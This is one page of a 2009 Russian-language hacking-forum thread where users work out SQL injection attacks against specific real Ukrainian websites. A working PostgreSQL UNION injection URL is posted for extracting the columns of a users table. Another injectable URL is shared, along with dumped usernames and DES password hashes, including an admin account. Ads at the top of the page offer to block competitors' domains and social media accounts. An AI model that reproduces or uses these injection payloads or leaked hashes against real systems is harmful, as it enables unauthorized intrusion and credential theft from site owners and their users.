Ваши вопросы по уязвимостям.

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 488 из 2438

488

Опции темы

Поиск в этой теме

Опции просмотра

#4871

22.01.2009, 08:56

TELO

Познающий

Регистрация: 21.01.2009

Сообщений: 98

С нами: 9107354

Репутация: 122

Цитата:

Сообщение от sabe

TELO
после like не = а +

* = используем когда непосредственно извлекаем где table_name=0x[table_hex]

всё равно не выводит,ну да ладно....башка не варит уже
спс

#4872

22.01.2009, 09:04

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

С нами: 10081287

Репутация: 568

Отправить сообщение для sabe с помощью AIM

Отправить сообщение для sabe с помощью Yahoo

Цитата:

[0]:admin:xyq5DSvOZhD.Y
[1]:sss:xyUQeQQ5IiRx2
[2]:lucas:xyb.sVOT03irU
[3]:dianer:xy2XsZs7GjaXM

что за хеши?

#4873

22.01.2009, 09:13

USAkid

Участник форума

Регистрация: 17.06.2008

Сообщений: 214

С нами: 9420866

Репутация: 228

на des похоже

#4874

22.01.2009, 09:25

~~Артем Солнце~~

Banned

Регистрация: 19.01.2009

Сообщений: 26

С нами: 9109766

Репутация: 67

скорее всего DES(Unix)

#4875

22.01.2009, 09:34

R1dex

Участник форума

Регистрация: 17.09.2008

Сообщений: 211

С нами: 9288132

Репутация: 571

Цитата:

Сообщение от TELO

всё равно не выводит,ну да ладно....башка не варит уже
спс

Конечно не выводит, это тебе не MYSQL, это PostgreSql. Почитай мануалы. Правильный запрос, чтобы посмотреть колонки, к примеру из таблы tk_users:

Код:

http://www.bookzone.com.ua/catalog.php?cid=-11028+union+select+COLUMN_NAME+FROM+INFORMATION_sCHEMA.COLUMNS+WHERE+TABLE_NAME=chr(116)||chr(107)||chr(95)||chr(117)||chr(115)||chr(101)||chr(114)||chr(115)+LIMIT+1+offset+0--

Последний раз редактировалось R1dex; 22.01.2009 в 13:46..

#4876

22.01.2009, 09:34

TELO

Познающий

Регистрация: 21.01.2009

Сообщений: 98

С нами: 9107354

Репутация: 122

Вот тоже скуль
http://www.techcenter.com.ua/info3.php?id=17498%20order%20by%201%20--
а дальше не пойму..

#4877

22.01.2009, 09:36

TELO

Познающий

Регистрация: 21.01.2009

Сообщений: 98

С нами: 9107354

Репутация: 122

Цитата:

Сообщение от R1dex

Конечно не выводит, это тебе не MYSQL, это PostgreSql. Почитай мануалы уже. Правильный запрос, чтобы посмотреть колонки, к примеру из таблы tk_users:

Код:

http://www.bookzone.com.ua/catalog.php?cid=-11028+union+select+COLUMN_NAME+FROM+INFORMATION_sCHEMA.COLUMNS+WHERE+TABLE_NAME=chr(116)||chr(107)||chr(95)||chr(117)||chr(115)||chr(101)||chr(114)||chr(115)+LIMIT+1+offset+0--

а имя таблы обязательно в чаре?

#4878

22.01.2009, 09:41

R1dex

Участник форума

Регистрация: 17.09.2008

Сообщений: 211

С нами: 9288132

Репутация: 571

Да.

#4879

22.01.2009, 09:46

~~Артем Солнце~~

Banned

Регистрация: 19.01.2009

Сообщений: 26

С нами: 9109766

Репутация: 67

Цитата:

Сообщение от TELO

Вот тоже скуль
http://www.techcenter.com.ua/info3.php?id=17498%20order%20by%201%20--
а дальше не пойму..

Возможно в коде просто идет два запроса к БД подряд, по этому он и выдает The used SELECT statements have a different number of columns, попробуй использовать подзапросы

#4880

22.01.2009, 12:24

Qam

Познающий

Регистрация: 16.01.2009

Сообщений: 40

С нами: 9114128

Репутация: 15

Парни,а мой вопрос утонул значит!Подскажите очень надо!

Страница 488 из 2438

488

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход